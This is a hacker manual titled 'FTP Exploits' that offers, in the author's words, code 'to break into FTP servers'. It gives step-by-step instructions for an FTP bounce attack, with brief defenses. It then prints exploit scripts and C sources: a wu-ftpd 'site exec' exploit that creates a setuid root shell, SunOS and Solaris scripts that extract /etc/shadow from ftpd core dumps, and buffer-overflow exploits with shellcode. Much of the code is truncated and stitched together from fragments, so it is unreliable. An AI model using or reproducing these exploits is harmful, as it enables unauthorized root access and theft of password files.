FTP Exploits by Ankit Fadia
FTP Exploits by Ankit Fadia
After the lovely response that I got once the Sendmail Holes Manual was
released, I decided to also release
a similar one on FTP Exploits.I have got all the code that you need to break
into FTP servers, but again I
am assuming that you know how to program and have some idea as to how to put
this code to use.
Exploit List
This discusses one of many possible uses of the "FTP server bounce
attack".
The mechanism used is probably well-known, but to date interest in
detailing
or fixing it seems low to nonexistent. This particular example
demonstrates
yet another way in which most electronically enforced "export
restrictions" are
completely useless and trivial to bypass. It is chosen in an effort to
make
the reader sit up and notice that there are some really ill-conceived
aspects
of the standard FTP protocol.
The motive
==========
their FTP server can determine from the DNS, that is]. In any case,
you
cannot directly retrieve what you want from crypto.com's server.
The attack
==========
This assumes you have an FTP server that does passive mode. Open an
FTP
connection to your own machine's real IP address [not localhost] and
log in.
Change to a convenient directory that you have write access to, and
then do:
quote "pasv"
quote "stor foobar"
Take note of the address and port that are returned from the PASV
command,
F,F,F,F,X,X. This FTP session will now hang, so background it or flip
to
another window or something to proceed with the rest of this.
Construct a file containing FTP server commands. Let's call this file
"instrs". It will look like this:
user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
F,F,F,F,X,X is the same address and port that your own machine handed
you
on the first connection. The trash at the end is extra lines you
create,
each containing 250 NULLS and nothing else, enough to fill up about 60K
of
extra data. The reason for this filler is explained later.
put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"
Discussion
==========
There are several variants of this. Your PASV listener connection can
be
opened on any machine that you have file write access to -- your own,
another
connection to ufred.edu, or somewhere completely unrelated. In fact,
it does
not even have to be an FTP server -- any utility that will listen on a
known
TCP port and read raw data from it into a file will do. A passive-mode
FTP
data connection is simply a convenient way to do this.
The extra nulls at the end of the command file are to fill up the TCP
windows
on either end of the ufred -> crypto connection, and ensure that the
command
connection stays open long enough for the whole session to be executed.
Otherwise, most FTP servers tend to abort all transfers and command
processing
when the control connection closes prematurely. The size of the data
is enough
to fill both the receive and transmit windows, which on some OSes are
quite
large [on the order of 30K]. You can trim this down if you know what
OSes
are on either end and the sum of their default TCP window sizes. It is
split
into lines of 250 characters to avoid overrunning command buffers on
the target
server -- probably academic since you told the server to quit already.
You may have to retrieve your command file to the target's FTP server
in ASCII
mode rather than binary mode. Some FTP servers can deal with raw
newlines, but
FTP Exploits By Ankit Fadia ankit
others may need command lines terminated by CRLF pairs. Keep this in
mind when
retrieving files to daemons other than FTP servers, as well.
Other possbilities
==================
Despite the fact that such third-party connections are one-way only,
they
can be used for all kinds of things. Similar methods can be used to
post
virtually untraceable mail and news, hammer on servers at various
sites, fill
up disks, try to hop firewalls, and generally be annoying and hard to
track
down at the same time. A little thought will bring realization of
numerous
other scary possibilities.
Connections launched this way come from source port 20, which some
sites allow
through their firewalls in an effort to deal with the "ftp-data"
problem. For
some purposes, this can be the next best thing to source-routed
attacks, and is
likely to succeed where source routing fails against packet filters.
And it's
all made possible by the way the FTP protocol spec was written,
allowing
control connections to come from anywhere and data connections to go
anywhere.
Defenses
========
There will always be sites on the net with creaky old FTP servers and
writeable directories that allow this sort of traffic, so saying "fix
all
the FTP servers" is the wrong answer. But you can protect your own
against
both being a third-party bouncepoint and having another one used
against you.
The first obvious thing to do is allow an FTP server to only make data
connections to the same host that the control connection originated
from.
This does not prevent the above attack, of course, since the PASV
listener
could just as easily be on ufred.edu and thus meet that requirement,
but
it does prevent *your* site from being a potential bouncepoint. It
also
breaks the concept of "proxy FTP", but hidden somewhere in this
paragraph
is a very tiny violin.
The next obvious thing is to prohibit FTP control connections that come
from
FTP Exploits By Ankit Fadia ankit
reserved ports, or at least port 20. This prevents the above scenario
as
stated.
Both of these things, plus the usual poop about blocking source-routed
packets
and other avenues of spoofery, are necessary to prevent hacks of this
sort.
And think about whether or not you really need an open "incoming"
directory.
Notes
=====
Adding the nulls at the end of the command file was the key to making
this
work against a variety of daemons. Simply sending the desired data
would
usually fail due to the immediate close signaling the daemon to bail
out.
If WUSTL has not given up entirely on the whole wu-ftpd project, they
are
keeping very quiet about further work. Bryan O'Connor appears to have
many
other projects to attend to by now...
#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
BEGIN { idir = "/" ; dirp = 0 }
/.:$/ { idir = $0 ; dirp = 1 ; }
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
if (dirp == 1) print idir
dirp = 0
print $0
}'
rm xxx.$$
#!/bin/sh
#
# http://www.anticode.com for the latest exploits, tools and documents!
#
# Exploit to get (at least most of) the /etc/shadow file in SunOS 5.5x.
FTP Exploits By Ankit Fadia ankit
# ftp coredumps and makes a core file in /tmp which contains the /etc/shadow
# file. Then grep takes out the shadow file and puts it in the file
# you specify (if you don't specify a dir it'll be in /tmp).
# To Use:
# sh ftpass.sh [your username] [your passwd] [output file]
# ftpass.sh starts ftp and logs in as you and then tries to login as root,
# using the wrong passwd and attempts to use pasv mode. This creates the
# coredump file where /etc/shadow is.
# You can ignore the error messages.
# *********************************************************************
# Coded by TheCa
# *********************************************************************
/*
Explot wu-ftp 2.x (site exec bug)
220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
ready.
Name (exploitablesys:root): goodaccount
331 Password required for goodaccount.
Password: (password)
230 User goodaccount logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id" (see if sys is exploitable)
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200 (end of 'bash -c id')
ftp> quote "site exec bash -c /yer/home/dir/ftpbug"
200-bash -c /yer/home/dir/ftpbug
200 (end of 'bash -c /yer/home/dir/ftpbug')
ftp> quit
221 Goodbye.
StaTiC ([email protected])
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
system("chown root /tmp/.sh");
system("chmod 4755 /tmp/.sh");
system("chmod +s /tmp/.sh");
}
/*
USAGE:
*/
#include <stdio.h>
char x86_shellcode0[156] =
*/
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"var0"
/* local variable integer */
"cmd0"
/* char *cmd[2] */
"cmd1";
char x86_shellcode1[1024] =
".."
"\x00"
"."
"\x00"
"hax0r"
"\x00"
"/bin/sh"
"\x00"
FTP Exploits By Ankit Fadia ankit
"\xb6\x01\x00\x00";
char vardir[300];
int varlen;
if ( argc > 1 )
initialdir = argv[1];
else initialdir = "/incoming";
if ( argc > 3 )
{
username = argv[2];
password = argv[3];
}
else
{
username = "anonymous";
password = "[email protected]";
}
if ( argc > 5 )
{
bufoffset = atoi ( argv[4] );
codeaddr = atoi ( argv[5] );
}
else
{
bufoffset = 195;
codeaddr = 0x0805ac81;
}
varlen = 210;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
FTP Exploits By Ankit Fadia ankit
varlen = 210;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );
varlen = 170;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );
varlen = 250;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
/*
THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE!
by duke
[email protected]
BIG thanks to stran9er for alot of help with part of the shellcode!
i fear stran9er, but who doesn't? !@$ :)
also alignment arg is how return address is aligned.. shouldnt need it,
but if u do it should be between 0 and 3
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
//#include <linux/time.h>
//#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
long getip(char *name);
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";
char tmp[256];
char name[128], pass[128];
int sockfd;
fakeargv[argc] = NULL;
bzero(&cli, sizeof(cli));
bzero(recvln, sizeof(recvln));
bzero(sendln, sizeof(sendln));
cli.sin_family = AF_INET;
cli.sin_port = htons(21);
cli.sin_addr.s_addr=getip(argv[1]);
close(sockfd);
printf("finit.\n");
}
fd_set fds;
bzero(&tv, sizeof(tv));
tv.tv_usec=50;
bzero(blah, sizeof(blah));
p = blah;
for(n=0; n<strlen(dir); n++){
if(dir[n] == '\xff'){
*p = '\xff';
p++;
}
*p = dir[n];
p++;
}
sprintf(snd, "MKD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(snd, sizeof(snd));
sprintf(snd, "CWD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(rcv, sizeof(rcv));
FD_ZERO(&fds);
FD_SET(sockfd,&fds);
FTP Exploits By Ankit Fadia ankit
select(sockfd+1,&fds,NULL,NULL,&tv);
if (FD_ISSET(sockfd,&fds))
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
void sh()
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
FTP Exploits By Ankit Fadia ankit
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
}
fputs(rcv, stdout);
}
}
}
if ((ip=inet_addr(name))==-1)
{
if ((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit (1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
#!/bin/sh
#
# exploit a bug in wu-ftpd to assemble & view the shadow passwd file
#
# Tested under Solaris 2.5
#
# James Abendschan [email protected] 16 Oct 1996
#
USER=`whoami`
/usr/ucb/echo -n "Enter your password for localhost: "
read PASS
WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
FTP Exploits By Ankit Fadia ankit
mkdir $WDIR
TMP=$WDIR/strings.tmp
if [ ! -f $WDIR/core ]
then
echo "Sorry, your ftpd didn't dump core."
exit 1
fi
rm -f $TMP